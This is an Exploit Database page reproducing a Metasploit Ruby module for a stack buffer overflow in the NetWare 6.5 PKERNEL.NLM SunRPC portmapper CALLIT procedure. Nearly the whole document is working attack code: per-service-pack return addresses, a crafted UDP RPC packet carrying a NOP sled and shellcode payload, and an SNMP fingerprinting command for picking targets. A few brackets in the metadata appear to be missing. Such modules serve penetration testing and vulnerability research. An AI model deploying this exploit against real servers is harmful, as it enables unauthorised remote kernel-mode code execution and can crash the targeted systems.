NetWare 6.5 – SunRPC Portmapper CALLIT Stack Buffer Overflow (Metasploit)

Exploit Database
115 阅读

作者： Metasploit

日期： 2010-11-14
类别：
- remote
平台：
- netware
来源：https://www.exploit-db.com/exploits/16833/

# $Id: pkernel_callit.rb 11039 2010-11-14 19:03:24Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.

PKERNEL.NLM is installed by default on all NetWare servers to support NFS.

The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can

cause the operating system to reboot.

'Author' => [ 'pahtzo', ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 11039 $',

'References' =>

[

# There is no CVE for this vulnerability

[ 'BID', '36564' ],

[ 'OSVDB', '58447' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ],

'Privileged' => true,

'Payload'=>

{

'Space'=> 2020,

'Platform' => 'netware',

'Targets'=>

[

# NetWare SP and PKERNEL.NLM version can be found in SNMP:

# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"

# sysDescr.0 = STRING: Novell NetWare 5.70.08October 3, 2008

# hrSWRunName.1191394992 = STRING: "PKERNEL.NLMv15.01(20081014)"

[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)

'DisclosureDate' => 'Sep 30 2009'))

register_options([Opt::RPORT(111)], self.class)

end

def exploit

connect_udp

buf =[rand(0xffffffff)].pack('N') # XID

buf << [0].pack('N')# Message Type: Call (0)

buf << [2].pack('N')# RPC Version: 2

buf << [100000].pack('N') # Program: Portmap (100000)

buf << [2].pack('N')# Program Version: 2

buf << [5].pack('N')# Procedure: CALLIT (5)

buf << [0].pack('N')# Credentials AUTH_NULL (0)

buf << [0].pack('N')# Length: 0

buf << [0].pack('N')# Verifier AUTH_NULL (0)

buf << [0].pack('N')# Length: 0

buf << [0].pack('N')# Program: Unknown (0)

buf << [1].pack('N')# Version: 1

buf << [1].pack('N')# Procedure: proc-1 (1)

buf << [4097].pack('N') # Arguments: <DATA> length: 4097

buf << make_nops(2072)# fill to ret

buf << [target.ret].pack('V') # addr. of push esp - ret

buf << payload.encoded#

#print_status("payload space #{payload_space()}...")

#print_status("payload len #{payload.encoded.length}...")

#print_status("total buf len #{buf.length}...")

print_status("Trying target #{target.name}...")

udp_sock.put(buf)

handler

disconnect_udp

end